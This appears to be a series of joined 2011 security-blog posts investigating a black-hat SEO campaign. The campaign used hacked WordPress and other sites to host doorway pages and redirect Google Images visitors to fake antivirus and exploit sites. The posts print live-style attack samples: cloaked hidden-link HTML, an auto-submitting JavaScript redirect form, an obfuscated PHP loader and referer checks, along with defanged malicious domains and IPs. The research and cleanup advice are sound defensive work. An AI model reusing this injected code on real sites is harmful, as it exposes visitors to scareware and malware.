• most of the linking sites reside on different servers and even on different subnetworks – (they are not just from one hacked server).

The same report has a “Referring Domains” history graph

You can see a spike on July 20th. This matches the beginning of the black hat SEO campaign.

The “Top Pages” report shows that all external links point to the home page only. That’s not typical even for a small site with so many backlinks.

The most revealing data can be found in the Top Backlinks report. It provides a list of up to 2,500 referring URLs (Majestic Silver plan) in order of their significance for SEO along with the anchor text (!) of the backlinks.

Main insights:

• Out of 2,500 backlinks , 2,426 (97%) have the “poker software” anchor text – (This anchor text is used on hacked sites)
• 60 backlinks (2.4%) have the “poker statistics” anchor text. They are hidden links on a few supposedly hacked sites (different attack though). The spammy code look like this:
  <div style=”display:none“><li><a href=”hxxp://rankexplorer .com“>Poker Statistics</a></li></div>
• The rest 13 links can be easily neglected.
  • One of them comes from Baidu search results (why does MajesticSEO index Baidu SERPs?!)
  • Six “software de poker” and “”poker mjukvara“” are from a hacked site that uses some sort of auto-translation that translated all spammy links into Spanish and Swedish ;-)

And finally, the “Referring Domains” report shows that most of the domains can also be found in my list of WordPress sites affected by this black hat SEO attack.

So the backlink analisys clearly shows that the rankexplorer .com owes its high PageRank exclusively to black hat techniques.

PageRank vs real SERP positions

Was it worth the effort for rankexplorer? Not that much. If we search for [poker software] or even for ["poker software"] on all major search engines, the rankexplorer is nowhere near the top. The top two Google search results for this query currently link to sites with PageRank 4, and #3 has PR3! As Matt Cutts always says: PageRank is only one of many factors that affect site position in search results.

So were all the spammers’ efforts futile? Not exactly. For some queries (I won’t call them popular) you can find the rankexplorer on the first page of search results. Currently it is #4 for the ["poker statistics analyzer"] query.

Interesting sidenote. Out of all major search enignes, Baidu (#1 search engine in China!) is the most susceptible to the rankexplorer’s black hat SEO campaign:

Previous generation of this campaign

The MajesticSEO’s reports helped me find some sites where the injected code and doorway pages were different than in the attack that I described last week. Moreover, some of the sites were not WordPress blogs. After some additional analysis, I figured out it was a previous generation of the same attack. Here are the details:

Link blocks

Checking cached versions (Google cache) of legitimate pages on the compromised sites, I found a familiar cloaked blocks of hidden link that used the style/font trick:

<style>#xhxq {position:absolute;overflow:auto;height:0;width:0;}</style><font id="xhxq"><li><a href="http://example.com/?olg=55680">80s movie posters</a></li>
...skipped..
<a href="hxxp://rankexplorer .com">Poker Software</a>
...skipped..
<li><a href="http://www.example.org/?eea=go.php5">powered by smf best back up software</a></li></font>

However, instead of linking to doorways on the same site, those blocks linked to doorways on multiple third party sites (usually about 50 unique sites in one block). And the rankexplorer link was in the middle of the block this time.

This cross-linking scheme helped me identify 700+ hacked sites. Most of them can be identified as WordPress blogs, Joomla sites and Zen Cart online stores.

URL patterns

The most common URL patterns of the doorway pages are:

example.com/[a-z]{3,4}=<random>.<extension>, where <random> is a random combination of characters, digits and hyphens, and <extension> is a one of the popular file extensions of web pages (html|htm|shtml|php|php3|php4|php5|phtml|jsp|asp). The extension part can be missing.

Examples:

• example.co.uk/?mrx=zc-31.html
• example.com/?jlq=bi5k5.phtml
• example.de/?pce=9mlbqc.htm
• example.eu/?tnj=57720.php3
• example.cl/?slf=9283-upfy

Another popular doorway URL pattern is example.org/[a-z]{3}-<keywords>.<extension>, where <keywords> are hyphen separated keywords targeted by the doorway page.

Examples:

• example.com/qlv-wallpapers-cowgirl-stock-photos.asp (note, this page is on a Linux server that has no ASP)
• example.net/qxr-trail-of-tears-coloring-pages.php5
• example.se/lck-multiplication-chart-1-500.html

And the combination of the above two patterns: example.net/[a-z]{3,4}=<keywords>.<extension>

• example.org/?jyw=make-your-own-art-online.php4
• example.com/?liz=sample-1023-arts-organization.shtml
• example.net/?klb=dem-mac-martial-arts.php
• example.es/?jys=art-of-8000-bce-500-ce

Chronology of the attack

Some of the websites have already been cleaned up. On such sites, I can only find the spammy content in 2-3 months’ old cached copies, which proves that this attack was active around May 2011. We can find one more evidence of this in the MajesticSEO report for the notorious rankexplorer .com site that uses its “historic” index.

This graph shows that MajesticSEO began to index links to rankexplorer .com (and we know they all come from hacked sites) in April. Then the was a peak in May (new indexed domains referencing rankexplorer). Almost 0 new domains in June and then another uptrend in July (which corresponds to the attack against WordPress blogs that I described last week)

Still malicious

Although that wave of the black hat SEO campaign has been idle for at least a couple of months now, many of the compromised sites still contain malicious web pages. As in the most recent attack, they only redirect visitors to scareware sites if they come from Google Images search (clicking on web search results won’t trigger the redirect.)

Redirects

For visitors from Google Images, the doorway generate a page with an invisible form and a JavaScript that automatically clicks on the form button, which effectively redirects a browser to a Fake AV site:

<html><head>
<script>
function TDov(){setTi meout('ob()', 1);document.getElementById('go').click();}
function F99FAEE4E1A331A7595932B7C18F9F5F6(){try{history.forward();}catch(e){}setTim eout('ob()', 10);}
</script>
</head><body onLoad='TDov()'>
<form action='hxxp://atomiccanyon .com/BrightonFestival2009/xmlrpc.php?k=fredericksburg+tx+historic+district+map&s=google&r=http%3A%2F%2Fwww.google.com%2Fimgres%3Fimgurl%3...skipped..' method='POST' target='_top'>
<button type='submit' id='go' style='visibility:hidden'></button></form>
</body></html>

As you can see, the URL structure resembles the structure of the first URL in the redirect chain of the ongoing attack.

Some of the sites also use a similar form URL on the cricketfunde .com domain.

Then, this intermediary URL redirects visitors to actual fake AV sites. Currently, they use multiple *.rr.nu domains:

• hxxp://www4.powersecurityex .rr .nu/?hch86z0i65=jNjRnHOtYpxcpdnTtJiY59nPst…
• hxxp://www3. powergcjsentinel .rr .nu/?39gnl9=V67Q0qlrqKad1dvLoJ2Z2eLgpqCWoWie…
• hxxp://www1 .simplecwahscanner .rr .nu/2dgnv5l5k?4h6xtulyq2=WNKj2%….

They seem to be changing every day. Old domain expire quite quickly. When I last checked, they used the 79 .133 .196 .117 address.

Malware

The binary download begins from a different (although similar) domain:

• hxxp://www2 .thebest-mhcleaner .rr .nu/duqr211_323.php?xw0lonwp=nOGdz%2B…%3D%3D
• hxxp://www2 .bestsuitehri .rr .nu/yvbt211_323.php?o5aayuuvor=k63E0Lbu…%3D%3D

The downloaded file have names like fix_pack107d_323.exe and fix_pack211d_323.exe (links to VirusTotal reports) and their detection rates are usually less than 30%. I rechecked one file 20 hours later and it’s detection rate improved from 27% to 33% – by that time the malicious server began to serve a different variation of the same file.

Redirects for Macs

For Mac users, the redirect chain is different:

www4 .powersecurityex .rr .nu -> rdr .cz .cc/go.php?7&said=323 -> www .moviedir .com/1093251

By the way, the moviedir site has Google PageRank 4. And it shouldn’t be a surprise that many of its backlinks are from hacked sites.

Google strikes back

While hacked site still contain malicious code and may redirect Image searches to dangerous sites, Google has done a great job to mitigate the problem and removed the doorway page from its index.

I checked many hacked sites using the site: operator in Google search. Only very few of them had indexed doorways. And even when I could find links to doorways in web search results, Image search results for the same sites were free from poisoned images! (I have a feeling that for some hacked sites Google removed legitimate images as well)

I have also noticed the “This site may be compromised” warning on search results for home pages of many hacked sites.

At this time, both generations of this particular Google Image poisoning campaign seem to be neutralized by Google. Good job!

##
Removing poisoned links from search result doesn’t completely solves the problem. There are still thousands of compromised sites that criminals can reuse for different attacks. Moreover, I still don’t have reliable information about the attack vector (what security holes hackers exploit and how they integrate malicious code into legitimate websites), so millions of WordPress blogs and Joomla sites are potentially vulnerable to similar attacks. If you have any information, please share it in comments or contact me directly.

If you work in a security department of a large shared hosting provider, please contact me. The chances are I know some compromised sites on your servers (5,000+ sites on my list, typically 1-2 sites per IP, but sometimes up to 300). Together we can find out what’s going on.

Thank you!

Related posts:

• Hacked WordPress Blogs Poison Google Images
• Thousands of Hacked Sites Seriously Poison Google Image Search Results
• Introduction to Website Parasites

Those doorway pages can be easily identified:

Doorway URL pattern

They have the following URL pattern: hxxp://<hacked-wordpress-blog.com>/?[a-f]{3}=<keywords> , where [a-f]{3} is a combination of three letters “a” through “f” and the <keywords> is a hyphen-separated combination of keywords that contain either word picture or pictures. Here are some examples:

hxxp://example.com/?fef=pictures-of-mitzi-mueller-wrestling
hxxp://example.net/?cda=tropical-fruits-picture-index

Spammy image files

Doorway pages use a normal template of the hacked WordPress blogs, but their original content is replaced with twenty something “thumbnails” and short text snippets relevant to <keywords> searches.

The images are not hot-linked. Both thumbnails and links to “full-sized” images have URLs that look like this:

/?[a-f]{3}=<keywords><encrypted-key><short-name>.jpg

for example:

/?fec=pictures-of-blagojovich-arrested-Eun8671l43WGQNUa7rKWUdG/5d60kf6AQ4VM4KfPdbfaMro2PNRMVlYmniC50Kh6SJdwMkeSz7s19kggH0WT4j_AYuW36OEWyfkABshi/Tk5R16sYiKUfS8OJGDZ_K7p/WoYUNZZ_Q==uek.jpg

At the top of the images you can see an inscription — the domain name of the hacked site. This way criminals set their seal to the images to make them look like an original content of that site, not stolen images. At the same time this artifact can help identify poisoned image search results and avoid clicking on them.

The image files contain the following string inside: <CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 100. This means that they were created using the GD Graphics library.

In my understanding, hackers use a PHP script to fetch top rated images (returned by Google Images search), resize them to “tbumbnail-size” (width: 200-300 pixels) and to “full-size” (some random size – may even be larger that the original image) and finally add the domain name stamp.

Timestamps

At the very bottom of the HTML code of the doorway pages you can see comments like this:

<!-- 7/24/2011 4:30:03 PM --><!-- new england railroad pictures -->

The timestamp and the targeted keywords (they match the <keywords> part of the URL). This way you can easily see when the doorway was generated.

Redirects

The doorway pages rank quite well for some keywords both in Google Web search and Google Images search (especially when you are searching for exact phrases). However the malicious redirects occur only when you click on Google Images search results, which proves that Google Images poisoning is the main goal of this black-hat SEO campaign.

The redirects have two stages. The first redirect goes to an intermediary server (TDS) that, in turn, redirects to a landing pages that pushes a fake anti-virus tool (I’ve seen two different variations of the fake AV pages).

Here’s a real redirect chain:

302->hxxp://video.bywhy .com/?k=girdles+pictures&s=google&r=http%3A%2F%2Fwww.google.com%2Fimgres%3Fimgurl%3Dhttp%3A%2F%2Fbcsmusic.me%2F%253Fbdd%253Dgirdles-pictures-Vyhynx%2FbFO_9rUEvfK72isOTIVpmnmzLxnzp51gHqzVXi5I5jE2lyrsssMFcfbwOFoXk3VR8TwxTQeexe%2FonLd6RPIG_M6hkLQMh6ACctX4kzsuwbN5w_6YOYxZYj1AJQl1OBCXNjPYQoA%253D%253Dxy5.jpg%26imgrefurl%3Dhttp%3A%2F%2Fbcsmusic.me%2F%253Fbdd%253Dgirdles-pictures%26usg%3D__6ho2Rtl5S4GcwInf2xzUhPN4vkI%3D%26h%3D439%26w%3D262%26sz%3D98%26hl%3Den%26start%3D19%26zoom%3D1%26um%3D1%26itbs%3D1%26tbnid%3DoHNHWFmQjxIwqM%3A%26tbnh%3D127%26tbnw%3D76%26prev%3D%2Fsearch%253Fq%253Dsite%3Abcsmusic.me%2526um%253D1%2526hl%253Den%2526sa%253DN%2526channel%253Dfs%2526biw%253D1222%2526bih%253D260%2526tbm%253Disch%26ei%3DnU80TtGDG4mE-wa5vPH9DA&d=http%3A%2F%2Fbcsmusic.me%2F%3Fbdd%3Dgirdles-pictures
302->hxxp://update34.svernick .in/index.php?Q0rhQ9S3be5GTHpOM5RNjiUpBaa7CmPerSb+VBBE57iCXCC1iDs+XgOe4qXsg1ggs5uk7Ck1GcwyRZ2vqM7MPVofO5WM3eBmP5tRpBeBu/kPphowRYvnTq2+4BmHNg==

As you can see, the TDS server receives information about the keywords, source, and the actual referring URL.

The intermediary domains change every day. They actually belong to other hacked sites (mostly WordPress blogs)

Here are just a few domain names of the intermediary TDS sites used in this attack:

• video.bywhy .com
• ppopo2.bget .ru
• awalstudios .com
• demo.hireindians .net
• www.privatepilot .hu
• footballgirdles .tk

The domain name of a landing page consists of a .in domain that changes every day and some random “updateNN” or “scanNN” subdomain, e.g. update82.yourscan .in or “scan73.moomles .in”

Here are a few .in domains of the fake AV sites used in this attack:

• spelleit .in
• svernick .in
• senerino .in
• moomles .in
• klopster .in
• bastandro .in
• waspeeds .in
• yourscan .in
• x-scan .in

Most of the .in sites point to the 193 .105 .154 .31 IP address (United Kingdom, Ars Tolerantia, with Latvian contact information).

Detection rate

The fake AV sites push scareware .exe with names like InstallSecurityScanner_NNN.exe, e.g. InstallSecurityScanner_225.exe. These files are being repackaged every day and their detection rate (according to VirusTotal) is quite low. The typical detection rate for currently served files is 8/43 (18.6%). It usually improves to 35%-50% by the time when the malicious file is no longer in use and a new file with a low detection rate is being served by the fake AV server.

Out of 4,358 checked compromised sites, Google currently flags (or recently flagged) less than 5% of them. Typical Safe Browsing diagnostic page says something like this:

Malicious software is hosted on 2 domain(s), including bastandro .in/, senerino .in/.

3 domain(s) appear to be functioning as intermediaries for distributing malware to visitors of this site, including hireindians .net/, awalstudios .com/, bywhy .com/.

Update (Aug 10, 2011):

1. There are more than 4,358 hacked WP sites (found a few more)
2. After I sent them my lists and additional information, Google has removed those doorway pages on hacked sites from index (both web search and image search).
3. Hackers have injected hidden links that point to the doorway pages on the same sites into legitimate web pages of the hacked WP blogs. The links are cloaked (visible to search engine crawlers only). I believe they are injected into WordPress theme files (most likely footer.php).
4. I still haven’t receive a single response neither from webmasters of the hacked sites nor from their hosting providers. Hey, your information can help thousands of WordPress bloggers!
5. I found some additional information about this attack. More about it later. Stay tuned! (Published)

Hiccups in serving malware

Starting this week, I noticed multiple hiccups in this attack.

On Tuesday, TDS generated redirects that missed domain name part in URLs of the fake AV sites. E.g.

hxxp://scan15./index.php?QwrhS9RYbcxGhnpcM45NtCWyBT…RcrnQq2F4MWHYQ==

As you can see, everything else is in place, except for the domain name. It looked as if the criminals ran out of the domain names (most of them were registered on July 20th) or forgot to specify a new domain for a new day.

Nonetheless, on Wednesday, the URL generation process was restored. However the landing pages wouldn’t open (at least for me). At the same time, when I opened the root page of the fake AV site (e.g. hxxp://scan36.bastandro .in, hxxp://bastandro .in or even simply hxxp://193 .105 .154 .31) the malicious download would start automatically.

On Friday, I see a different hiccup. The TDS redirects to a newly registered domain (August 4th)

hxxp://update82.yourscan .in/index.php?Q+Xh59RmbVNGM3p…fnk6164ISHXQ==

that points to a different IP address (46 .4 .161 .228) and that server seems to be down. At the same time, the 193 .105 .154 .31 server still automatically starts malicious downloads if you visit it, but the download size is 0 bytes.

I wonder if all these hiccups have to do with the crisis of the fake AV industry that Brian Krebs describes in his recent post.

“During the past few weeks, some top fake AV promotion programs either disappeared or complained of difficulty in processing credit card transactions for would-be scareware victims”

If this is true, we should expect the hacked sites will eventually try to monetize search traffic some different way.

Update (Aug 8, 2011): A new hiccup today.  The landing page is on updateNN.x-scan .in site. While x-scan .in (193 .105 .154 .31) is up and serves an updated .exe file, its subdomains won’t resolve. What’s going on?

How the hack works

At this point I couldn’t find cooperative webmasters of the hacked WordPress blogs that would share internal details of the hack. Nonetheless, my black box testing approach allows me to make some conclusions.

Narrowing down

The hacked sites belong to different people and are hosted by different hosting providers. Other sites (both WP and non-WP) on the same servers are not affected. They are all WordPress blogs. Many of them are up-to-date (run the latest version of WordPress). So it’s neither a server-wide hack, nor an intrusion via stolen site credentials (otherwise we’d see many non-WP sites). At the same time, it is not a core WP hack. In my experience, this usually means that hackers used some backdoor script.

Where is the security hole?

The backdoor script might have been uploaded using vulnerabilities in WordPress themes or plugins. For exapmple, many of the hacked sites (not all though) use themes that include a timthumb.php file that is known to have a security hole that allows attackers to upload .php files to a server.

Actually, this is where webmasters of compromised sites can help me. Usually a log analysis + a server scan can provide a very reliable information about the attack vector: vulnerable files and backdoor scripts. Please, contact me if you have raw access logs for July.

.htaccess

Sometimes, I saw two different blogs on the same server (and most likely under the same user account) with the same doorway pages. Moreover, while blogs themselves looked different, the doorway pages used a template of only one of those sites and had links to that site only.

I think this happens because hackers created a .htaccess files with rewrite rules above the site root (quite a prevalent trick with .htaccess hacks). The rewrite rules map the doorway URLs to some .php script.

Caching

All doorway pages and images are cached somewhere on the server. Unlike other SEO poisoning attacks that I wrote about, they are not generated on the fly. If you specify some different keywords in the URL, you will get a 404 error. Moreover this 404 error will be different than normal 404 error pages of the hacked sites.

Another proof that the spammy content is cached and is not injected at the run-time into live WordPress pages is the timestamps at the bottom of the HTML code and old articles in the “Recent Posts” section. On some sites, instead of a real site template, they use a pre-built empty Kubrick template with the fingerprint that doesn’t change from site to site (WordPress 2.3.1, 22 queries, 0.912 seconds)

Rounding up: If I were a webmaster of one of those hacked sites, I would start looking for rogue rules in .htaccess files in the site root and above the site root directory. The rewrite rules should point to a doorway script. Then the script should point to a cache directory with all the html and jpg files. Then I would try to analyze access logs and scan files on server to find backdoor scripts and security holes.

To webmasters

Creating doorway pages on legitimate websites is quite a prevalent reason behind website hacks. Make sure your site doesn’t contain rogue web pages.

Regularly check statistics for suspicious requests. In this particular case you can even use JavaScript-based services like Google Analytics since hackers don’t remove your scripts from page templates and not all user requests get immediately redirected to malicious sites — e.g. people may actually open the doorway pages when the click on Google web search results (not image search results). However, raw logs will show more accurate information.

You should also check Google Webmaster Tools for suspicious search queries and indexed pages.

Make sure your WordPress is up-to-date. All themes and plugins come from trusted sources and don’t contain known security holes (check their websites, google them). If your themes or/and plugins use the timthumb.php file, consider updating this file (Its developers are currently actively improving the security).

##
If you have any details about internals of this attack and especially the security hole, please leave your comment below or contact me directly. It would also be interesting to hear your thoughts about the hiccups of this attack (and whether they are really hiccups).

Related posts:

• Following the Black Hat SEO Traces
• Thousands of Hacked Sites Seriously Poison Google Image Search Results
• Tattoo Ideas For … Spammers
• Hackers Abuse Servage Hosting to Poison Google Image Search
• Introduction to Website Parasites

Changed doorway behavior

After May 18th, I noticed that doorway pages no longer redirected me anywhere when I clicked on poisoned search results. Neither to bad sites nor to home pages of compromised sites. Instead they displayed the spammy content generated for search engine crawlers only.

That was strange. That could never happen if the old algorithm was still in use.

Then I checked the cache directories (./.log/compromiseddomain.com/) and found new maintenance files there: don.txt and xml.txt. The don.txt file contained HTML template of spammy pages and was a replacement for the shab100500.txt file used by the original algorithm. The xml.txt contained the following string: bG92ZS1ibG9nY29tLm5ldA==, which decoded (base64) to “love-blogcom.net“. It was clear it was a more secure replacement for xmlrpc.txt that stored the domain name of a remote malicious server in plain text.

A few days later, the xml.txt files was replaced by xml.cgi, which was a clever step since .cgi files produce server errors when you try to open them in directories that aren’t configured to execute CGI scripts.

So I knew that the doorway script was updated, but I couldn’t understand why the doorways exhibited no malicious behavior when I clicked on hijacked image search results. That didn’t make much sense. What was the purpose of showing those spammy unintelligible pages without trying to monetize the traffic? The only plausible idea was they were playing the “long game” and needed some time to have the new pages rank well without risks of being identified as cloaked or malicious content, and when many pages reach prominent positions in search results they’ll start redirect web searchers to bad sites. Well, that was a working hypothesis until I got the source code of the new doorway script. The reality is crooks don’t want to play “long games” if they can monetize right away – the new doorway pages did redirect to bad site but my virtual environment wasn’t properly configured to trigger the redirects.

Dissecting the updated Google Image poisoning attack

So let me tell you what exactly has changed in this script and how those changes affect web searchers and Google.

The file is similarly obfuscated:

<?php print(gzuncompress(base64_decode('eNqNWG1v4kYQ/.../AW9Zhls='))); ?>

and the overall algorithm looks pretty much the same. But when you look into details you’ll soon see the key changes

Google is the only target

While the previous version targeted visitors from Google, Yahoo and Bing

if ( strpos( $_SERVER["HTTP_REFERER"], "google.") || "strpos"( $_SERVER["HTTP_REFERER"], "yahoo." ) || "strpos"( $_SERVER["HTTP_REFERER"], "bing." )> 0 ) {...

the new version is only interested in visitors from Google

if ( strpos( $_SERVER["HTTP_REFERER"], "google." ) > 0 ) {...

It looks like traffic from Yahoo and Bing is so negligible that it isn’t worth the effort.

New redirection system

Now the answer why I couldn’t trigger malicious redirects.

In the previous version, to trigger the redirect, it was enough to be a human visitor (not a known bot) coming from major search engines and your search query should not contain the “site:” operator. There was a fixed redirect script in the iog.txt file that changed roughly every 30 minutes and within that time all visitors were being redirected to the same intermediate traffic direction system (TDS) server.

The new redirect mechanism is more flexible and sophisticated:

Built-in TDS functionality

If the request looks eligible (comes from Google and the search query doesn’t contain the “site:” operator), the script tries to obtain a redirect URL from a remote server. That remote server decides in real time, whether that particular visitor should be redirected and where.

The domain name of that remote server is stored as a base64-encoded string in the xml.cgi file. By default, it is mydiarycom.net (base64:bXlkaWFyeWNvbS5uZXQ=).

The request for the redirect URL goes to hxxp://mydiarycom.net/out/stat.cgi?parameter?=… . In parameters, it passes all the pertinent information about the visitor and the doorway site:

• the domain name of the doorway site
• the full URL of this doorway script (there may be several scripts on the same server)
• the visitor’s IP address
• the referring URL (in this case Google search URL)
• the User-Agent string of the visitor’s browser
• the search query that was used on Google to find this doorway

It is easy to see benefits of this new approach.

It allows to collect important statistics on the mydiarycom.net server. For example, now the attackers can see what search queries people use to find doorway pages (previously they could only guess based on URLs of referring doorway pages, which rarely were exact matches of Google searches ).

What’s more important, now they have a centralized system that manages redirects throughout all doorway sites. No need to update iog.txt files on each site. No need to update the whole script if they decide to change something (e.g. blacklist some IP addresses or redirect visitors to country-specific landing pages)

Dependency on IP address and User-Agent

The most important parameters that affect the redirect URLs are visitors’ IP addesses and the User-Agent strings. I tested several dozens of combinations of various IPs and UAs. At this point mydiarycom.net has three types of response that break traffic into three major categories:

1. Mac traffic
2. PC traffic
3. Unwanted traffic

1. Redirect to a fake Mac antivirus site (e.g. “Apple security center”). – For all visitors whose web browsers have “Macintosh” in their User-Agent strings.

The typical redirect URL looks like this:

hxxp://89 .149 .226 .210/r/7073b499d369ec84a9cf110af621946c7bbbec33005b3e13

the IP address of the server and the string after /r/ regularly change. I’ve seen the following IPs in the fake Mac AV URLs:

• 178.162.157.199 (Belize, Belmopan Netdirect 178.0.0.0 – 178.255.255.255)
• 178.162.173.44 (Belize, Belmopan Netdirect 178.0.0.0 – 178.255.255.255)
• 184.82.190.247 (United States, Network Operations Center Inc 184.0.0.0 – 184.255.255.255)
• 188.72.248.140 (Belize, Belmopan Netdirect 188.0.0.0 – 188.255.255.255)
• 212.124.107.190 (United States, Amsterdam Mnogobyte Llc 212.124.107.0 – 212.124.107.255)
• 212.124.123.180 (United States, Amsterdam Mnogobyte Llc 212.124.120.0 – 212.124.123.255)
• 212.124.123.182 (United States, Amsterdam Mnogobyte Llc 212.124.120.0 – 212.124.123.255)
• 212.95.55.96 (Hong Kong, Netdirect 212.95.55.0 – 212.95.55.255)
• 78.159.122.140 (Hong Kong, Netdirect 78.0.0.0 – 78.255.255.255)
• 78.159.122.23 (Hong Kong, Netdirect 78.0.0.0 – 78.255.255.255)
• 80.86.81.27 (Germany, Intergenia Ag 80.86.81.0 – 80.86.81.255)
• 82.146.47.167 (Russian Federation, Ispsystem Cjsc 82.146.40.0 – 82.146.47.255)
• 89.149.226.210 (Germany Netdirect 89.149.226.0 – 89.149.227.255)
• 91.213.117.213 (Ukraine, Safe Service Xxi (mhost Dc) 91.213.117.0 – 91.213.117.255)
• 91.226.212.64 (Ukraine, Pe Ivanov Vitaliy Sergeevich 91.226.212.0 – 91.226.213.255)
• 95.158.185.67 (Bulgaria Novatel Eood 95.0.0.0 – 95.255.255.255)

2.1 Redirect to a general browser exploit site. – For visitors on non-Mac computers that use browsers other than Chrome.

The typical URL looks like this:

hxxp://rljdxskunks .info/index.php?tp=81350e0ebb536599

again, the domain name and the tp parameter regularly (roughly every 30 minutes) change. Here are some more domains of exploit pages:

• xdasmeandered .info – 209.85.147.105 (California – Mountain View – Google Inc)
• artfitful .info – 209.85.147.105
• fitfuldot .info – 209.85.147.105
• bestinstitutionally .info – 209.85.147.105
• yrsimeandered .info – 209.85.147.105
• rljdxskunks .info – 109.230.246.226 (Germany, Marcel Edler Trading As Optimate-server)
• arcskunks .info – 109.230.246.226
• bhelskunks .info – 109.230.246.226
• fzfjjskunks .info – 109.230.246.226
• hzoyoskunks .info – 109.230.246.226

2.2. Alternatively, non-Mac computers (including Chrome browsers) are redirected to a fake PC antivirus site (e.g. “Windows Security 2011″)

hxxp://fwhzimpluck .info/fast-scan/

• hpluck .info – 95.64.48.132 (Romania, Netserv Consult Srl)
• confuseps .info
• wbfiibpluck .info
• osyqdhinequitable .info
• pluckypu .info
• canadianizeajvfil .info
• canadianizex .info
• upgncanadianize .info
• canadianizevd .info

3. Nothing returned (No redirect will be issued. The spammy page will be displayed instead)

• for known search engine bots (based on IP and UA)
• for visitors who use Google Chrome (only when the exploit vector is active)
• for visitors from Russia, Ukraine and Belarus who don’t use Macs.

Interesting sidenotes

ex-USSR traffic

I couldn’t originally trigger the redirect because I used Internet Explorer UA along with a Russian IP address. Now I can see that the attackers are not interested in Russian non-Mac traffic — probably this traffic is hard to monetize. On the other side, Mac owners in Russia are quite wealthy people who have credit cards and can easily afford paying $50-100 (and many of them can read in English).

At the same time, traffic from other countries with low purchasing power (e.g. Turkey, China, Romania) is treated no different then traffic from the United States or the European Union. This also suggests that the attackers are originally from the former Soviet Union.

Google Chrome

Google Chrome seems to be immune to the exploit that is currently used for non-Mac visitors.

Malware on Google’s server?

You might have noticed, many exploit sites (e.g. fitfuldot .info) were hosted on a server with the IP address of 209.85.147.105. The irony is this address belongs to Google. The domain names no longer resolve, but you can see the historical records on DomainTools.com. For example, check the record for fitfuldot .info and click on the “Server Stats” tab — you will see that the server belongs to “California – Mountain View – Google Inc” and has the gws (Google Web Server) type. And if you check more information for that IP address you’ll see that”281 websites use this address. (examples: abroaddomain .info abroadhosting .info abroadsmart .info abroadsoft .info)” – they all belong to the same attack.

And if you check Safe Browsing diagnostic page for osyqdhinequitable .info (fake AV site) you’ll see that at some point it was hosted on AS15169 (Google Internet Backbone) network.

Now that the malicious domains have been shut down (their name servers currently read as: NS1.SUSPENDED-FOR.SPAM-AND-ABUSE.COM), if you navigate your browser to http://209.85.147.105/ you’ll see a real Google’s home page.

Any ideas how hackers managed to use Google’s own server?

Update (June 29, 2011): Some readers note that Google might have simply sinkholed those malicious domains. Good point! Indeed, I don’t actually remember when I resolved those domain names as the whole investigation took several weeks. Probably I did it a few days after I checked the malicious content on those domains (I wish I checked HTTP headers back then!). And the NS(1|2).SUSPENDED-FOR.SPAM-AND-ABUSE.COM name servers suggest that the current IP address is different from the original IP address. In either way, I didn’t think that Google’s server was hacked. I thought this could be some service that allowed to create websites on Google’s infrastructure (e.g. Google Sites, Google App Engine, or something like this — hardly anyone can remember them all ;-) What do you think?

Other changes and observations.

Rotating User-Agent.

In the doorway script, the internal function that downloads search results from Google (they are used to compose spammy pages) now randomly rotates three different User-Agent strings. This way the script tries to evade being detected as automated requests to Google.

Passwords-protected

The maintenance requests to the script are now passwords-protected. To be able to change the xml.cgi file (with the domain name of the remote server) and to use a file uploader, you now need to provide a password in the “name” parameter of a POST request. The MD5 value of that password must be equal to “42a3f0678d1bbb517272142f5b3df3cd” (any ideas what the password is?).

This way they can protect their doorways from other parties who might want to hijack them and redirect the traffic to third-party sites. In previous version, anyone who knew the algorithm (for example, having read my blog post) could easily upload files to compromised sites.

Link schemes

To have Google discover the doorway pages on hacked sites, cybercriminals create link pages on free sites. It’s usually some free hosted blogging services like blog.fc2.com. So they create hundreds of blogs and regularly publish posts that consist of hundreds of links to doorway pages.

Spam on Ning.com

I’ve found an interesting variation of this approach lately. Instead of creating new blogs, they register with existing Ning.com communities and post spammy comments and blogposts there. Again, each post consists of hundreds of links to doorway pages and to similar spammy posts on other Ning.com sites. (I found 700+ ning sites with the spammy link pages)

Such rogue ning.com users usually have unintelligible names like “cfulahlz” or “yflcypzt“. Sometimes they are registered as males, sometimes as females. However, it is easy to spot such users as they always specify “Wiggins, CO, United States” as their location. The following Google search can help reveal hundreds of such rogue users: [site:ning.com "Wiggins, CO"]

“Sitemap” links

At some point the linking scheme also included compromised sites where hackers injected cloaked spammy links (visible only if you pretend to be a Googlebot). What’s interesting, I’ve found 115 such hacked sites and they are all hosted on 10 IP addresses that belong to 4 different hosting providers (according to DomainTools.com): Liquid Web Inc, Tailor Made Servers, Hostmysite and Nashua Goldenware. When I tryied to check other sites on the same IPs, they all were similarly hacked. This fact suggests that whole servers were hacked rather than individual sites.

Fortunately, those servers seem to had been cleaned up a few days ago, but you can still see the signs of the attack in Google’s search results for ["Sitemap 2295 * Sitemap 4008 * Sitemap 2960"] – and for some results you can still see cached pages with links to spammy “sitemaps”.

Can Google efficiently blacklist doorway sites?

Once I revealed the linking schemes, it was quite easy to compile a list of 10,000+ unique compromised sites with doorway pages.

As I mentioned on June 23rd, Google had a very low detection rate of about 3% for those doorway sites. Earlier that day, I sent my list of then 9,000+ hacked sites along with the decoded doorway script to Google.

Five days later, I’m going through my list again and now I can see some improvements. Google seems to be scanning sites from my list in an alphabetical order. At this point, I can see that roughly 20% of the domain names that start with digits or with letter “a” have been blacklisted by Google (which means that only about 700 sites from my list have been processed). The rest of the list (about 10,000 sites) still have the same low percentage (~3%) of flagged sites.

In May, in took significantly less time for Google to flag a hefty part of all doorway sites that poisoned Google Image search. Of course, that wave of the black hat SEO attack had a noticeable side effect: imgaaa & co img and iframe tags injected into index pages of hacked sites. So Google only needed to find those tags on infected sites. That worked like a charm and helped them flag over 34,000 sites and mitigate the attack in a very short time.

Unfortunately, this new wave doesn’t have such easily detectable signs and Google needs to improve their scanners to be able to detect malicious behavior despites of all new countermeasures that hackers invent. At this point, I can see that after June 23rd Google hasn’t picked up malware on quite a few doorway sites that still redirect visitors to bad sites.

Given these problems with detection, it is important for Google to keep on improving the ranking algorithm so that computer-generated doorway pages have very little chance of being displayed on first pages of search results.

To webmasters

Sites, that have been blacklisted after June 23rd mostly have the following non-informative and quite confusing descriptions on their Safe Browsing diagnostic pages:

“Of the 7 pages we tested on the site over the past 90 days, 0 page(s) resulted in malicious software being downloaded and installed without user consent. The last time Google visited this site was on 2011-06-24, and suspicious content was never found on this site within the past 90 days.”

or

“Google has not visited this site within the past 90 days. Suspicious activity was detected over 90 days ago, but no data is available for the past 90 days.”

Note that the pages say that either “0 page(s) resulted in malicious software being downloaded and installed” or “no data is available for the past 90 days“. At the same time, no malicious or intermediary domains are mentioned.

